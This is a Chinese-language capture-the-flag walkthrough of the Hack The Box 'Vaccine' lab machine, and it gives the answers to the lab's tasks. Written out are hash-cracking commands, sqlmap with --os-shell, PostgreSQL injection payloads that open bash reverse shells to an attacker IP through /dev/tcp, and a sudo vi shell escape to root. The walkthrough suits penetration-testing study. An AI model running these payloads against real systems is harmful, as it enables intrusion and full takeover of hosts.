HTB-Vaccine
HTB-Vaccine
1.TASK1
问题:除了SSH和HTTP,这个盒子上还托管了什么服务?
一、端口扫描
nmap -sV -sC 10.129.172.3
可以发现目标主机开发了ftp、ssh和http三个端口,其中ftp支持匿名模式登录,并且存在一个backup.zip文件
同时在网页中访问ip,存在一个登录界面
答案:ftp
2.TASK2
问题:此服务可以配置为允许使用特定用户名的任何密码登录。那个用户名是什么?
答案:anonymous
3.TASK3
问题:通过此服务下载的文件的名称是什么?
答案:backup.zip
4.TASK4
问题:John the Ripper工具集附带了什么脚本,并以允许破解尝试的格式从受密码保护的zip档案中生成哈希?
二、FTP匿名登录
ftp匿名登录,并将back.zip下载到本地
三、暴力破解压缩包
压缩包中存在index.php,使用弱密码尝试解压压缩包,发现行不通,那就需要用到爆破工具来爆破密码了
这时候会用到john的zip2john脚本,将加密压缩包的密码hash值导出到文件中,再用john对其进行爆破
答案:zip2john
5.TASK5
问题:网站上管理员用户的密码是什么?
接上,用zip2john导出hash后,使用john和/usr/share/wordlists/目录下的rockyou.txt字典进行爆破,得到密码为741852963
john hash_backup --wordlist=/usr/share/wordlists/rockyou.txt
使用密码解压得到index.php和style.css文件,这个index.php应该就是登录页面的源码了
打开index.php文件后可以发现存在一个判断语句,判断username是否等于admin以及密码的md5值是否等于2cb42f8734ea607eefed3b70af13bbd3
直接把md5值放到cmd5解密网站里去解密,得到密码qwerty789
答案:qwerty789
6.TASK6
问题:什么选项可以传递给sqlmap以尝试通过sql注入来执行命令?
四、GETSHELL
使用账户密码登录网站,可以看到一个表单,右上角有查询功能,尝试使用一下查询功能
可以发现在查询时使用了一个search的参数,可能存在sql注入漏洞,直接上sqlmap
sqlmap -u http://10.129.149.19/dashboard.php?search=Sandy --cookie=PHPSESSID=72gli1uajr5hm68mqmjqe83see --os-shell --batch
//--cookie是指定页面cookie,否则页面就会跳转回登录页面
//--os-shell 使用sqlmap去getshell
// -batch 使用默认设置
答案:--os-shell
7.TASK7
问题:postgres用户可以使用sudo作为root用户运行什么程序?
接上,尝试使用--os-shell参数来与系统进行交互,但是失败了;然后尝试使用--file-write --file-dest参数上传反弹shell到网站,也失败了。
参考师傅的WPhttps://blog.csdn.net/rpsate/article/details/119305417
# 创建一个表cmd_exec,用来接收执行的命令
'; CREATE TABLE cmd_exec(cmd_output text); --
# 执行一段系统命令来建立反弹shell(因为这里对 & 符号进行了转义,先反弹一个无回显的shell)
'; COPY cmd_exec FROM PROGRAM 'bash -c "bash -i 0> /dev/tcp/10.10.14.127/9999"'; --
http://10.129.168.142/dashboard.php?search=1'; CREATE TABLE cmd_exec(cmd_output text); --
http://10.129.168.142/dashboard.php?search=1'; COPY cmd_exec FROM PROGRAM 'bash -c "bash -i 0> /dev/tcp/10.10.14.127/9999"'; --
监听到无回显shell,然后执行
bash -c "bash -i &> /dev/tcp/10.10.14.127/8888 0>&1"
来获取一个交互式shell。
在/var/www/html/dashboard.php文件中发现系统用户密码:postgres:P@s5w0rd!
做到这一步的时候会发现在getshell之后,过一会会自动断开连接,在提权的时候会很麻烦,不过幸运的是我们拿到了postgres的密码,可以直接用ssh连上靶机 ssh postgres@10.129.168.142
五、提权
使用sudo -l查看我们有哪些命令可以sudo使用
发现postgres账号可以以root权限运行vi,在vi中是可以调用shell的。
答案:vi
8.SUBMIT FLAG
直接把user.txt中的flag提交
9.SUBMIT FLAG
接上,我们用root权限打开vi,然后再通过vi调用shell,这样这个shell也是以root权限运行。首先执行一下命令以root的权限打开vi。
sudo /bin/vi /etc/postgresql/11/main/pg_hba.conf
然后按 :进入命令模式,在命令模式下输入以下命令的其中一条即可:
!/bin/bash
!/bin/sh
shell
在vi/vim的命令模式下!加在命令后面表示强制执行,如果加在前边表示这是一条shell命令。以 !/bin/bash为例,这句命令表示以shell命令的方式执行 /bin/bash,也就是打开一个交互式终端。
在vi/vim的命令中,shell表示打开一个终端。
此时已经获取到root权限
查找flag